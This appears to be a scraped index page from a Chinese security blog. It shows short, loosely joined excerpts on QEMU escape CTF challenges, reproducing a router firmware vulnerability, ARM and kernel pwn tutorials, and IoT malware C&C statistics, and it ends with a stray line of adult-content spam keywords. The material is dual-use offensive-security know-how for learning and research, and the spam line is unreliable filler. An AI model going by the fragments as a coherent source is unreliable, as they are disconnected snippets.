    00 前言在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。
    漏洞復現根據官方公告,找到存在漏洞的二進制文件。官方公告:先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。
    ARM PWN基礎教程
    2022-07-27 17:29:43
    在CTF比賽中,我們所能接觸到的大部分都是x86 x86_64架構的題目,而在我開始接觸IOT方向的研究以后發現智能設備所用到的則是ARM和MIPS架構為主。本篇文章在介紹前置知識的基礎上通過CTF的ARM架構類型題帶讀者更好的入門ARM PWN的世界。
    Kernel pwn CTF 入門 – 1
    2021-10-21 16:39:08
    01簡介內核 CTF 入門,主要參考 CTF-Wiki。02環境配置調試內核需要一個優秀的 gdb 插件,這里選用 gef。
    QEMU逃逸系列
    2022-12-01 09:19:27
    qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。
    受限于發現樣本的延遲,C&C 服務器可能已經失效。據此,成功從 197 個樣本中提取了針對 12 個漏洞的攻擊行為。其中,Mirai 是二進制協議、Gafgyt 與 Daddyl33t 是文本協議。惡意軟件家族名使用 AVClass 進行合并,但存在問題是會將 Mozi 分類為 Mirai。其中,10 個自治系統相關的 C&C 服務器占比超過 69.7%,如下所示。威脅情報有效性60% 的 C&C 服務器與不止一個二進制文件存在關聯。發起攻擊的 C&C 服務器通常具有更長的生命周期,平均為 10 天。
    主要的環境準備參見上一篇文章,這里介紹本篇文章中會用的的模擬工具以及另一個靜態分析工具。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类